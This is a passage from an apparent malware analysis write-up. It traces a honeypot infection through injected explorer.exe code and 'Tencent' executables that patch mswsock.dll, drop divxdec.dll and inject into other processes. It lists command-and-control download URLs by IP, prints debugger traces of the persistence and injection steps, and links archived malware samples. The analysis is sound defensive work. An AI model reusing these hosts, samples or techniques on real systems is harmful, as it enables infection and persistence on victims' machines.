650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00E7F674   00DCB4B0  \u00b0\u00b4\u00dc.  |pTarget = pnen3260.00DCB4B0\n00E7F678   00000000  ....  \\NewValue = 0<\/pre>\n<p>(after this call, xxxxB4B0 is set to 0 again)<\/p>\n<p>A few routines later, at xxxx68BB, a call to RtlUnwind is being made, with the following parameters :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00E7F688   00E7FAB0  \u00b0\u00fa\u00e7.  |pRegistrationFrame = 00E7FAB0\n00E7F68C   00DC68C0  \u00c0h\u00dc.  |ReturnAddr = pnen3260.00DC68C0\n00E7F690   00000000  ....  |pExcptRec = NULL\n00E7F694   00000000  ....  \\_eax_value = 0<\/pre>\n<p>Then, a new SE record is created (in function xxxx68EA), pointing at 00DC68C8, and it gets removed again :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image176.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb173.png\" width=\"601\" height=\"236\" \/><\/a><\/p>\n<p>A number of calls later (at xxxx3CE5), another exception is generated (Unknown command)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image6.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb6.png\" width=\"599\" height=\"169\" \/><\/a><\/p>\n<p>Another anti-debugging trick ?&#160; Things were still making sense up to the point where the VirtualQuery and InterlockedExchange calls were made\u2026 <\/p>\n<p>I still wanted to see what happens if we try to continue, so I replaced the &quot;Unkown command&quot; with 2 nops and continued to step through the instructions. A few instructions below, and access violation gets triggered, which brings us back to the base of the injected code\u2026&#160; Okay, let's run the routine again<\/p>\n<h5>Injected code - run 2<\/h5>\n<p>In this run, kernel32.CreateMutexA is called (again), followed by RtlGetLastWin32Error (just like in the previous run). A custom SE Handler record is created (pointing to function xxxx5F54) and an exception is triggered.<\/p>\n<p>This time, the VirtualQuery \/ InterlockedExchange calls are not executed\u2026 but we still end up executing the code at xxxx3CD3 (which had the &quot;Unkown command&quot; (now replaced with 2 nops)\u2026 and we end up triggering an access violation again. This means that the VirtualQuery() and InterlockedExchange() calls are not really relevant, but at the same time, it seems I am running around in circles too.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h5>Injected code - headache<\/h5>\n<p>Maybe we should quit staring at the debugger, and focus on the behavior after explorer.exe was injected\/infected.<\/p>\n<p>If we look back at the procmon report, we can see that pnen3260.dll gets loaded. We already documented how\/where that happened. We can also see that a new thread is created.&#160; (Full analysis of the thread has not been completed yet).<\/p>\n<p>Then, a couple of image files are downloaded.. and shortly after, a bunch of executables are written to C:\\Documents and Settings\\&lt;user&gt;\\Application Data\\Tencent, and executed.<\/p>\n<p>We also noticed iexplore.exe being launched (iexplore.exe -nohome) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image9.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb9.png\" width=\"273\" height=\"197\" \/><\/a><\/p>\n<p>And that process appears to be making network connections :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image10.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb10.png\" width=\"273\" height=\"92\" \/><\/a><\/p>\n<p>Shortly after (as you will see in the next chapters), some other network connections are made too (scanning local network etc)<\/p>\n<p>So perhaps we need to look at the images \/ executables at this point, and see if there is a link between these executables and that network traffic.<\/p>\n<p>Finally, we need to figure out how the box will be infected permanently.&#160; Maybe this is done from within explorer.exe or iexplore.exe\u2026 or perhaps one or more of the executables will take care of it. We'll see.<\/p>\n<p>Before moving forward, let's feed l.exe to <a href=\"http:\/\/cloud.iobit.com\/\">http:\/\/cloud.iobit.com\/<\/a>.. Guess what, iobit says it's safe :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image12.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb12.png\" width=\"597\" height=\"435\" \/><\/a><\/p>\n<p>Looks like the latest cloud computing technology and heuristics analyzing mechanism got a headache too \ud83d\ude42<\/p>\n<p>&#160;<\/p>\n<h3>December 2nd, 2010 21:45:30 GMT+1 - stage 5 - images &amp; executables<\/h3>\n<p>About 2 minutes after the box was rooted and it started scanning other hosts, we also noticed traffic towards port 80 and 443, targetting various public hosts.&#160; (Similar to what you saw in the netstat output a while ago).&#160; Could be a &quot;phone home&quot; operation.<\/p>\n<p>As expected, malware doesn't just root a box to spread and root other boxes. That would&#160; be pointless. There must be added value, more logic so the box can be used for other purposes&#160; (botnet ? key logger ? etc etc).&#160; We know we missed some pieces in the analysis earlier, and it looks like those are the components responsible for that extra &quot;intelligence&quot; and &quot;functionality&quot;.<\/p>\n<p>From this point forward, we'll try to figure out what the purpose of the malware is by looking at its behavior. <\/p>\n<ul>\n<li>Procmon reports the creation of threads, spawns executables and executes them. <\/li>\n<li>A packet capture shows various types of traffic\n<ul>\n<li>scans to other hosts on the same network and on the same public IP range, to port 139 and 445 <\/li>\n<li>connects to public host on port 80 and 443 <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Let's start with the images.<\/p>\n<p>When looking at the packet capture, at the time explorer gets injected and code is executed, we see a http GET request for \/sasearch\/balloon.xsl, followed by a request for \/sasearch\/lclsrch.xml. While both files seem harmless at first sight, they are known to be <a href=\"http:\/\/about-threats.trendmicro.com\/ArchiveMalware.aspx?language=us&amp;name=TROJ_GENOME.YN\">associated<\/a> with malware.<\/p>\n<p>Then it looks like the infected process connects to the &quot;home&quot; or &quot;C&amp;C&quot; machine (or whatever you want to call it), and downloads some files :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Downloaded Files\n\nhttp:\/\/173.244.193.146\/DAY\/ALL.JPG?1031 (*.Y9A.INFO)\nhttp:\/\/173.244.193.148\/a\/0.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/1.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/2.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/3.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/4.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/5.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/6.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/7.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/8.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/9.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/10.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/a\/11.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/b\/1.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/b\/2.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/b\/3.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/b\/4.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/b\/5.jpg (do.v7x.info)\nhttp:\/\/173.244.193.148\/b\/6.jpg (do.v7x.info)\nhttp:\/\/173.244.193.146\/adv\/adv.dll (p.newfreeeye.info)<\/pre>\n<p>(you can replace the IP in this output with the IP you are seeing on your own machine if you are doing the analysis as well, or the IP from the netstat output above - which is my test box)\u2026 Either way, it looks like there are a bunch of C&amp;C servers and they all contain the same files (jpg ?)<\/p>\n<p>There are <strong>18<\/strong> jpg files - remember that number.<\/p>\n<blockquote>\n<p>Note : as of mid january, the C&amp;C server doesn't seem to be online anymore. You can, however, get a copy of the images here : (<a href=\"http:\/\/web.archive.org\/web\/20111211034833\/http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files\">http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files<\/a> - The Honeypot Incident - images.zip), set up your own webserver at the IP address listed above, host the files yourself, and simulate the downloads.<\/p>\n<\/blockquote>\n<p>While all jpg files are different in size, they still look very similar :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image185.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb182.png\" width=\"446\" height=\"169\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image186.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb183.png\" width=\"447\" height=\"114\" \/><\/a><\/p>\n<p>(and those are not the only jpg files on that server - try downloading 7.jpg, 8.jpg and so on)<\/p>\n<p>Even the dll (when renamed to jpg) shows an image :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image187.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb184.png\" width=\"450\" height=\"243\" \/><\/a><\/p>\n<p>Immediately after the jpg files are downloaded, explorer.exe starts spitting out &amp; running executables.<\/p>\n<p>&#160;<\/p>\n<h4>&quot;Tencent&quot; executables<\/h4>\n<p>Procmon indicates that the infected Explorer.exe process generates\/spawns and executes <strong>18<\/strong> executables under C:\\Documents and Settings\\&lt;user&gt;\\Application Data\\Tencent.&#160; So it looks like there might be a relation between the (<strong>18<\/strong>) jpg files, and the executables.<\/p>\n<p>We have not been able to complete the analysis of the injected code into explorer.exe, but we have noticed that it also spawned iexplore.exe -nohome, and that this process is the one responsible for connecting to the C&amp;C server and downloading images. (Microsoft <a href=\"http:\/\/technet.microsoft.com\/en-us\/sysinternals\/bb896656?ppud=4\">Listdll<\/a> shows that this iexplorer.exe process also has pnen3260.dll loaded.) It's very likely that the images contain some additional data which is extracted and used by the infected explorer.exe, to build and execute the executables. Again, this is just an assumption which is good enough for now.<\/p>\n<p>As stated earlier, the C&amp;C server has been taken down, but we have made the executables available for download here :&#160; (<a href=\"http:\/\/web.archive.org\/web\/20111211034833\/http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files\">http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files<\/a> - The Honeypot Incident - tencent_executables.zip)<\/p>\n<p>After each executable file has run, it gets deleted again.<\/p>\n<p>The following files are being created :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image190.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb187.png\" width=\"416\" height=\"262\" \/><\/a><\/p>\n<h5>&#160;<\/h5>\n<h5>~DF2D.exe :<\/h5>\n<p>According to the timeline and file creation timestamp, this is the first file being created &amp; executed.<\/p>\n<p>In this executable, some strings are decoded in memory (localalloc) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">001436E4                          50 6C 75 67 69 6E 32 61          Plugin2a\n001436F4  2E 53 65 63 74 69 6F 6E 00 25 53 79 73 74 65 6D  .Section.%System\n00143704  52 6F 6F 74 25 5C 73 79 73 74 65 6D 33 32 5C 00  Root%\\<span style=\"color: #0000ff\">system<\/span>32\\.\n00143714  6D 73 77 73 6F 63 6B 00 64 69 76 78 64 65 63 00  mswsock.divxdec.\n00143724  2E 64 6C 6C 00 6F 6C 65 61 64 70 00 53 46 43 5F  .dll.oleadp.SFC_\n00143734  4F 53 2E 44 4C 4C 00 00 00 00 00 00 00 00 00 00  OS.DLL..........<\/pre>\n<p>c:\\windows\\system32\\mswsock.dll&#160; -&#160; c:\\windows\\system32\\divxdec.dll <\/p>\n<p>Then a handle to mswsock.dll is retrieved (CreateFileA), so the filesize can be determined, used as Size parameter in a VirtualAlloc call.&#160; Following the VirtualAlloc (which returned a pointer to 00350000), the dll file is read and written to the newly allocated heap. (ReadFile, using the handle to the file as source).<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image179.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb176.png\" width=\"546\" height=\"225\" \/><\/a><\/p>\n<p>More payload is generated (copied from the exe file, and copied to another new heap at 00390000), and then file c:\\windows\\system32\\divxdec.dll is created, by using 0x4C00 bytes from 00390000)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image180.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb177.png\" width=\"545\" height=\"228\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image181.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb178.png\" width=\"550\" height=\"321\" \/><\/a><\/p>\n<p>Then 0x00390000 is freed and a call to AdjustTokenPrivilege is called<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FCD8   00000024  $...  |hToken = 00000024\n0012FCDC   00000000  ....  |DisableAllPrivileges = FALSE\n0012FCE0   0012FCFC  \u00fc\u00fc.  |pNewState = 0012FCFC\n0012FCE4   00000000  ....  |PrevStateSize = 0\n0012FCE8   00000000  ....  |pPrevState = NULL\n0012FCEC   00000000  ....  \\pRetLen = NULL<\/pre>\n<p>mswsock.dll gets copied to a new tmp file :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FBC8   0012FD20   \u00fd.  |ExistingFileName = &quot;<span style=\"color: #8b0000\">C:\\WINDOWS\\system32\\mswsock.dll<\/span>&quot;\n0012FBCC   0012FC04  \u00fc.  |NewFileName = &quot;<span style=\"color: #8b0000\">C:\\DOCUME~1\\corelan\\LOCALS~1\\Temp\\8.tmp<\/span>&quot;\n0012FBD0   00000000  ....  \\FailIfExists = FALSE<\/pre>\n<p>SFC_OS.dll gets loaded and a function (ProcOrdinal 5) gets called.&#160; <\/p>\n<p>The computer name is retrieved, RpcStringBindingComposeW() and RpcBindingFromStringBindingW() are called (ncacn_np:\\\\\\\\.[\\\\PIPE\\\\SfcApi])<\/p>\n<p>Next, the tmp file (8.tmp in this example - which is a copy of mswsock.dll) is opened again, and read into a new allocated heap block (003C0000).&#160; Then, the code in heap gets patched, and written to the tmp file again.&#160; This routine is followed by a move of the original mswsock.dll file to a new tmp file (MoveFileA) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FAB8   0012FD20   \u00fd.  |ExistingName = &quot;<span style=\"color: #8b0000\">C:\\WINDOWS\\system32\\mswsock.dll<\/span>&quot;\n0012FABC   0012FAC8  \u00c8\u00fa.  |NewName = &quot;<span style=\"color: #8b0000\">C:\\DOCUME~1\\corelan\\LOCALS~1\\Temp\\9.tmp<\/span>&quot;\n0012FAC0   00000001  ...  \\Flags = REPLACE_EXISTING<\/pre>\n<p>MD5 of the file before and after the move :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32&gt;md5sum mswsock.dll\n832e4dd8964ab7acc880b2837cb1ed20 *mswsock.dll\n\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32&gt;md5sum mswsock.dll\nf7fe96adae155e1c8a3ffb96adb1bb1f *mswsock.dll<\/pre>\n<p>Followed by MoveFileExA :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FAB8   0012FAC8  \u00c8\u00fa.  |ExistingName = &quot;<span style=\"color: #8b0000\">C:\\DOCUME~1\\corelan\\LOCALS~1\\Temp\\9.tmp<\/span>&quot;\n0012FABC   00000000  ....  |NewName = NULL\n0012FAC0   00000004  ...  \\Flags = DELAY_UNTIL_REBOOT<\/pre>\n<p>Flags : delay_until_reboot<\/p>\n<p>Finally, the 8.tmp file gets deleted.<\/p>\n<p>Turbodiff shows the following differences :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image208.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb205.png\" width=\"652\" height=\"108\" \/><\/a><\/p>\n<p>A graphical comparison of the DllEntryPoint shows this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image209.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb206.png\" width=\"645\" height=\"291\" \/><\/a><\/p>\n<p>(Patched version is on the left)<\/p>\n<blockquote>\n<p>This *may* be a first step in proving that the malware will permanently infect the computer (by patching mswsock.dll in this case).<\/p>\n<\/blockquote>\n<p>Next, the following function is called :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image182.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb179.png\" width=\"612\" height=\"344\" \/><\/a><\/p>\n<p>A snapshot of the current process is made. This will contain a list with all running processes. Then divxdec.dll gets loaded at 0x10000000, and using GetProcAddress(), an address to a function (10001E20) is retrieved.<\/p>\n<p>Then an iteration is started (Process32First &amp; Process32Next) to enumerate processes. <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image183.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb180.png\" width=\"622\" height=\"217\" \/><\/a><\/p>\n<p>In that loop, the function (10001E20) gets called (CALL ESI). In that function, we see a call to OpenProcess(). So in essence, the iteration is used to enumerate \/ getting a window handle of the processes on the machine.&#160;&#160; <\/p>\n<p>Similar to many of the functions in kernel32, OpenProcess() is just a wrapper around a function exported in ntdll.dll (ZwOpenProcess in this case).&#160; The function parameters to ZwOpenProcess are<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">NTSTATUS ZwOpenProcess(\n  __out     PHANDLE ProcessHandle,\n  __in      ACCESS_MASK DesiredAccess,\n  __in      POBJECT_ATTRIBUTES ObjectAttributes,\n  __in_opt  PCLIENT_ID ClientId\n);<\/pre>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FB88   0012FBCC  \u00cc\u00fb.  |Arg1 = 0012FBCC  ;ProcessHandle\n0012FB8C   001F0FFF  \u00ff.  |Arg2 = 001F0FFF  ;DesiredAccess\n0012FB90   0012FB9C  \u0153\u00fb.  |Arg3 = 0012FB9C  ;ObjectAttributes\n0012FB94   0012FBB4  \u00b4\u00fb.  \\Arg4 = 0012FBB4  ;ClientID<\/pre>\n<p>In the second run of the iteration, a routine at 10001D50 is called :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image188.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb185.png\" width=\"507\" height=\"419\" \/><\/a><\/p>\n<p>At first sight, it looks like it's going to inject new code into a process (WriteProcessMemory() + CreateRemoteThread()).<\/p>\n<p>Before doing that, the code allocates some memory to the remote process (handle 0x80) and then calls GetModuleFileNameA() on hModule 10000000, with pathbuffer 0012EDCC (size 0x104). This returns string &quot;c:\\windows\\system32\\divxdec.dll&quot;, which gets written it to 0012EDCC.<\/p>\n<p>Then, the WriteProcessMemory() call is executed, using the following parameters (so it will write 1024 bytes from 0012EBC0 to the remote process, at 0004000)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EB9C   00000080  \u20ac...  |hProcess = 00000080 (window)\n0012EBA0   00040000  ...  |Address = 40000\n0012EBA4   0012EBC0  \u00c0\u00eb.  |Buffer = 0012EBC0\n0012EBA8   00000400  ...  |BytesToWrite = 400 (1024.)\n0012EBAC   0012EBBC  \u00bc\u00eb.  \\pBytesWritten = 0012EBBC<\/pre>\n<p>After the injection, calc.exe gets executed, which eventually removes ~DF2D.exe again.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image192.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb189.png\" width=\"730\" height=\"69\" \/><\/a><\/p>\n<p>This file did not seem to generate network traffic. Let's move on to the next file.<\/p>\n<p>&#160;<\/p>\n<h5>~DF3A.exe<\/h5>\n<p>Behavioural based analysis of this file (executed on a fresh system, as if it was the only file \/ a standalone executable), didn't reveal anything useful. If your analysis is purely based on behaviour analysis, then this file would most likely get flagged as &quot;harmless&quot;.<\/p>\n<p>That is not the case as you will find out in a few moments.<\/p>\n<p>In fact, it looks like the files should be analysed after running the required preceeding files. Alternatively, we can try to locate the routine, responsible for performing certain checks inside the binary, and see if we can simply bypass them.&#160; This may not work either (because in certain cases, the context will be important. Maybe data injected into another process has to be available, maybe not.)<\/p>\n<p>Anyways, if you feed this file into a malware behaviour analysis tool, you'll see that it reads some files and registry keys, and finally injects a cleanup routine into calc.exe, which removes DF3A.exe.<\/p>\n<p>We will dive deeper and do some manual analysis as well to verify that this file is (or is not) &quot;harmless&quot;.<\/p>\n<p>When looking at the routines in the file, we observe the following things :<\/p>\n<p>- Pointers to a few strings are generated<\/p>\n<p>- A call to OpenFileMappingA is performed, taking the following parameters :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FCDC   00000004  ...  |Access = FILE_MAP_READ\n0012FCE0   00000000  ....  |InheritHandle = FALSE\n0012FCE4   00142D20   -.  \\MappingName = &quot;<span style=\"color: #8b0000\">Plugin2a.Section<\/span>&quot;<\/pre>\n<p>When this call is executed, eax is set to 0, so the code continues. (Interestingly enough, EAX is first moved to EDI and then TEST EDI,EDI is executed.&#160; Maybe the author wanted to try to hide &quot;TEST EAX,EAX&quot; from analysis tools?)<\/p>\n<p>Then, EDI is copied to ESP+18, and a jump is made to 004016B6, where a call is made to 00401360. Below the call, we see some INT3 instructions, so when the call will return, the code will probably halt. <\/p>\n<p>Something tells me we should avoid this jump &amp; call, and simply skip over it.<\/p>\n<p>Let's execute the code anyway.&#160;&#160; <\/p>\n<p>First, some stuff is copied onto the stack, and then GetModuleFileNameA() is called<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012E99C   00000000  ....  |hModule = NULL\n0012E9A0   0012F0EC  \u00ec\u00f0.  |PathBuffer = 0012F0EC\n0012E9A4   00000104  ..  \\BufSize = 104 (260.)<\/pre>\n<p>Then, GetStartupInfoA() is called (argument pStartupInfo set to 0012E9C8).<\/p>\n<p>Next, a new process (calc.exe) is created<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012E980   00000000  ....  |ModuleFileName = NULL\n0012E984   004020C4  \u00c4 @.  |CommandLine = &quot;<span style=\"color: #8b0000\">calc<\/span>&quot;\n0012E988   00000000  ....  |pProcessSecurity = NULL\n0012E98C   00000000  ....  |pThreadSecurity = NULL\n0012E990   00000000  ....  |InheritHandles = FALSE\n0012E994   00000004  ...  |CreationFlags = CREATE_SUSPENDED\n0012E998   00000000  ....  |pEnvironment = NULL\n0012E99C   00000000  ....  |CurrentDir = NULL\n0012E9A0   0012E9C8  \u00c8\u00e9.  |pStartupInfo = 0012E9C8\n0012E9A4   0012E9B4  \u00b4\u00e9.  \\pProcessInfo = 0012E9B4<\/pre>\n<p>As expected, the process is then injected with some custom code (used to clean up DF3A.exe) and the process dies.<\/p>\n<p>So - it looks like the 